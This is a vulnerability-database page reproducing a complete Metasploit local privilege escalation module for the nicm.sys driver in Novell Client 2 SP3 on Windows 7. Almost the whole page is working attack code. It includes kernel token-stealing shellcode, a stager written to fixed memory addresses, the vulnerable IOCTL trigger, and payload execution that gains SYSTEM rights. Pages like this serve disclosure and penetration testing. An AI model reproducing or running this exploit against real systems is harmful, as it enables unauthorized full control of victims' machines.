Lucene search
K

Novell Client 2 SP3 nicm.sys Local Privilege Escalation

🗓️ 26 Jun 2013 00:00:00Reported by juan vazquezType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 29 Views

Novell Client 2 SP3 nicm.sys Local Privilege Escalation module exploits a flaw in the nicm.sys driver to execute arbitrary code in kernel space. Vulnerability occurs while handling ioctl requests with code 0x143B6B, using a user-provided pointer as a function pointer

Code
`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
require 'rex'  
require 'msf/core/post/common'  
require 'msf/core/post/windows/priv'  
  
class Metasploit3 < Msf::Exploit::Local  
Rank = AverageRanking  
  
include Msf::Post::Common  
include Msf::Post::Windows::Priv  
  
def initialize(info={})  
super(update_info(info, {  
'Name' => 'Novell Client 2 SP3 nicm.sys Local Privilege Escalation',  
'Description' => %q{  
This module exploits a flaw in the nicm.sys driver to execute arbitrary code in  
kernel space. The vulnerability occurs while handling ioctl requests with code  
0x143B6B, where a user provided pointer is used as function pointer. The module  
has been tested successfully on Windows 7 SP1 with Novell Client 2 SP3.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Unknown', # Vulnerability discovery  
'juan vazquez' # MSF module  
],  
'Arch' => ARCH_X86,  
'Platform' => 'win',  
'SessionTypes' => [ 'meterpreter' ],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread',  
},  
'Targets' =>  
[  
# Tested with nicm.sys Version v3.1.5 Novell XTier Novell XTCOM Services Driver for Windows  
# as installed with Novell Client 2 SP3 for Windows 7  
[ 'Automatic', { } ],  
[ 'Windows 7 SP1',  
{  
'HaliQuerySystemInfo' => 0x16bba, # Stable over Windows XP SP3 updates  
'_KPROCESS' => "\x50", # Offset to _KPROCESS from a _ETHREAD struct  
'_TOKEN' => "\xf8", # Offset to TOKEN from the _EPROCESS struct  
'_UPID' => "\xb4", # Offset to UniqueProcessId FROM the _EPROCESS struct  
'_APLINKS' => "\xb8" # Offset to ActiveProcessLinks _EPROCESS struct  
}  
]  
],  
'Payload' =>  
{  
'Space' => 4096,  
'DisableNops' => true  
},  
'References' =>  
[  
[ 'OSVDB', '93718' ],  
[ 'URL', 'http://www.novell.com/support/kb/doc.php?id=7012497' ],  
[ 'URL', 'http://pastebin.com/GB4iiEwR' ]  
],  
'DisclosureDate' => 'May 22 2013',  
'DefaultTarget' => 0  
}))  
  
end  
  
def add_railgun_functions  
session.railgun.add_function(  
'ntdll',  
'NtAllocateVirtualMemory',  
'DWORD',  
[  
["DWORD", "ProcessHandle", "in"],  
["PBLOB", "BaseAddress", "inout"],  
["PDWORD", "ZeroBits", "in"],  
["PBLOB", "RegionSize", "inout"],  
["DWORD", "AllocationType", "in"],  
["DWORD", "Protect", "in"]  
])  
  
session.railgun.add_function(  
'ntdll',  
'NtDeviceIoControlFile',  
'DWORD',  
[  
[ "DWORD", "FileHandle", "in" ],  
[ "DWORD", "Event", "in" ],  
[ "DWORD", "ApcRoutine", "in" ],  
[ "DWORD", "ApcContext", "in" ],  
[ "PDWORD", "IoStatusBlock", "out" ],  
[ "DWORD", "IoControlCode", "in" ],  
[ "LPVOID", "InputBuffer", "in" ],  
[ "DWORD", "InputBufferLength", "in" ],  
[ "LPVOID", "OutputBuffer", "in" ],  
[ "DWORD", "OutPutBufferLength", "in" ]  
])  
  
session.railgun.add_function(  
'ntdll',  
'NtQueryIntervalProfile',  
'DWORD',  
[  
[ "DWORD", "ProfileSource", "in" ],  
[ "PDWORD", "Interval", "out" ]  
])  
session.railgun.add_dll('psapi') if not session.railgun.dlls.keys.include?('psapi')  
session.railgun.add_function(  
'psapi',  
'EnumDeviceDrivers',  
'BOOL',  
[  
["PBLOB", "lpImageBase", "out"],  
["DWORD", "cb", "in"],  
["PDWORD", "lpcbNeeded", "out"]  
])  
session.railgun.add_function(  
'psapi',  
'GetDeviceDriverBaseNameA',  
'DWORD',  
[  
["LPVOID", "ImageBase", "in"],  
["PBLOB", "lpBaseName", "out"],  
["DWORD", "nSize", "in"]  
])  
end  
  
def open_device(dev)  
  
invalid_handle_value = 0xFFFFFFFF  
  
r = session.railgun.kernel32.CreateFileA(dev, "GENERIC_READ", 0x3, nil, "OPEN_EXISTING", "FILE_ATTRIBUTE_READONLY", 0)  
  
handle = r['return']  
  
if handle == invalid_handle_value  
return nil  
end  
  
return handle  
end  
  
def execute_shellcode(shell_addr)  
  
vprint_status("Creating the thread to execute the shellcode...")  
ret = session.railgun.kernel32.CreateThread(nil, 0, shell_addr, nil, "CREATE_SUSPENDED", nil)  
if ret['return'] < 1  
vprint_error("Unable to CreateThread")  
return nil  
end  
hthread = ret['return']  
  
vprint_status("Resuming the Thread...")  
ret = client.railgun.kernel32.ResumeThread(hthread)  
if ret['return'] < 1  
vprint_error("Unable to ResumeThread")  
return nil  
end  
  
return true  
end  
  
def ring0_shellcode(t)  
tokenstealing = "\x52" # push edx # Save edx on the stack  
tokenstealing << "\x53" # push ebx # Save ebx on the stack  
tokenstealing << "\x33\xc0" # xor eax, eax # eax = 0  
tokenstealing << "\x64\x8b\x80\x24\x01\x00\x00" # mov eax, dword ptr fs:[eax+124h] # Retrieve ETHREAD  
tokenstealing << "\x8b\x40" + t['_KPROCESS'] # mov eax, dword ptr [eax+50h] # Retrieve _KPROCESS  
tokenstealing << "\x8b\xc8" # mov ecx, eax  
tokenstealing << "\x8b\x98" + t['_TOKEN'] + "\x00\x00\x00" # mov ebx, dword ptr [eax+0f8h] # Retrieves TOKEN  
tokenstealing << "\x8b\x80" + t['_APLINKS'] + "\x00\x00\x00" # mov eax, dword ptr [eax+b8h] <====| # Retrieve FLINK from ActiveProcessLinks  
tokenstealing << "\x81\xe8" + t['_APLINKS'] + "\x00\x00\x00" # sub eax,b8h | # Retrieve _EPROCESS Pointer from the ActiveProcessLinks  
tokenstealing << "\x81\xb8" + t['_UPID'] + "\x00\x00\x00\x04\x00\x00\x00" # cmp dword ptr [eax+b4h], 4 | # Compares UniqueProcessId with 4 (The System Process on Windows XP)  
tokenstealing << "\x75\xe8" # jne 0000101e ======================  
tokenstealing << "\x8b\x90" + t['_TOKEN'] + "\x00\x00\x00" # mov edx,dword ptr [eax+0f8h] # Retrieves TOKEN and stores on EDX  
tokenstealing << "\x8b\xc1" # mov eax, ecx # Retrieves KPROCESS stored on ECX  
tokenstealing << "\x89\x90" + t['_TOKEN'] + "\x00\x00\x00" # mov dword ptr [eax+0f8h],edx # Overwrites the TOKEN for the current KPROCESS  
tokenstealing << "\x5b" # pop ebx # Restores ebx  
tokenstealing << "\x5a" # pop edx # Restores edx  
tokenstealing << "\xc2\x08" # ret 08h # Away from the kernel!  
  
return tokenstealing  
end  
  
  
def allocate_memory(proc, address, length)  
  
result = session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack("V"), nil, [ length ].pack("V"), "MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN", "PAGE_EXECUTE_READWRITE")  
  
if not result["BaseAddress"] or result["BaseAddress"].empty?  
vprint_error("Failed to allocate memory")  
return nil  
end  
  
my_address = result["BaseAddress"].unpack("V")[0]  
  
vprint_good("Memory allocated at 0x#{my_address.to_s(16)}")  
  
if not proc.memory.writable?(my_address)  
vprint_error("Failed to allocate memory")  
return nil  
else  
vprint_good("0x#{my_address.to_s(16)} is now writable")  
end  
  
return my_address  
end  
  
def junk(n=4)  
return rand_text_alpha(n).unpack("V").first  
end  
  
def check  
handle = open_device("\\\\.\\nicm")  
if handle.nil?  
return Exploit::CheckCode::Safe  
end  
session.railgun.kernel32.CloseHandle(handle)  
return Exploit::CheckCode::Detected  
end  
  
def exploit  
  
vprint_status("Adding the railgun stuff...")  
add_railgun_functions  
  
if sysinfo["Architecture"] =~ /wow64/i  
fail_with(Exploit::Failure::NoTarget, "Running against WOW64 is not supported")  
elsif sysinfo["Architecture"] =~ /x64/  
fail_with(Exploit::Failure::NoTarget, "Running against 64-bit systems is not supported")  
end  
  
my_target = nil  
if target.name =~ /Automatic/  
print_status("Detecting the target system...")  
os = sysinfo["OS"]  
if os =~ /windows 7/i  
my_target = targets[1]  
print_status("Running against #{my_target.name}")  
end  
else  
my_target = target  
end  
  
if my_target.nil?  
fail_with(Exploit::Failure::NoTarget, "Remote system not detected as target, select the target manually")  
end  
  
print_status("Checking device...")  
handle = open_device("\\\\.\\nicm")  
if handle.nil?  
fail_with(Exploit::Failure::NoTarget, "\\\\.\\nicm device not found")  
else  
print_good("\\\\.\\nicm found!")  
end  
  
this_proc = session.sys.process.open  
  
print_status("Storing the Kernel stager on memory...")  
stager_address = 0x0d0d0000  
stager_address = allocate_memory(this_proc, stager_address, 0x1000)  
  
if stager_address.nil? or stager_address == 0  
session.railgun.kernel32.CloseHandle(handle)  
fail_with(Exploit::Failure::Unknown, "Failed to allocate memory")  
end  
  
# eax => &kernel_stager  
# .text:000121A3 mov ecx, eax  
# .text:000121A5 mov eax, [ecx]  
# .text:000121A7 mov edx, [eax]  
# .text:000121A9 push ecx  
# .text:000121AA push eax  
# .text:000121AB call dword ptr [edx+0Ch]  
kernel_stager = [  
stager_address + 0x14, # stager_address  
junk,  
junk,  
junk,  
junk,  
stager_address + 0x18, # stager_address + 0x14  
junk,  
junk,  
junk,  
stager_address + 0x28 # stager_address + 0x24  
].pack("V*")  
  
kernel_stager << ring0_shellcode(my_target)  
  
result = this_proc.memory.write(stager_address, kernel_stager)  
  
if result.nil?  
session.railgun.kernel32.CloseHandle(handle)  
fail_with(Exploit::Failure::Unknown, "Failed to write contents to memory")  
else  
vprint_good("Contents successfully written to 0x#{stager_address.to_s(16)}")  
end  
  
  
print_status("Triggering the vulnerability to execute the Kernel Handler")  
magic_ioctl = 0x143B6B # Vulnerable IOCTL  
ioctl = session.railgun.ntdll.NtDeviceIoControlFile(handle, 0, 0, 0, 4, magic_ioctl, stager_address, 0x14, 0, 0)  
session.railgun.kernel32.CloseHandle(handle)  
  
if ioctl["GetLastError"] != 0  
print_error("Something wrong while triggering the vulnerability, anyway checking privileges...")  
end  
  
print_status("Checking privileges after exploitation...")  
  
if not is_system?  
fail_with(Exploit::Failure::Unknown, "The exploitation wasn't successful")  
else  
print_good("Exploitation successful!")  
end  
  
print_status("Storing the final payload on memory...")  
  
shell_address = 0x0c0c0000  
shell_address = allocate_memory(this_proc, shell_address, 0x1000)  
  
if shell_address.nil?  
fail_with(Exploit::Failure::Unknown, "Failed to allocate memory")  
end  
  
result = this_proc.memory.write(shell_address, payload.encoded)  
  
if result.nil?  
fail_with(Exploit::Failure::Unknown, "Failed to write contents to memory")  
else  
print_good("Contents successfully written to 0x#{shell_address.to_s(16)}")  
end  
  
print_status("Executing the payload...")  
result = execute_shellcode(shell_address)  
if result.nil?  
fail_with(Exploit::Failure::Unknown, "Error while executing the payload")  
else  
print_good("Enjoy!")  
end  
end  
  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation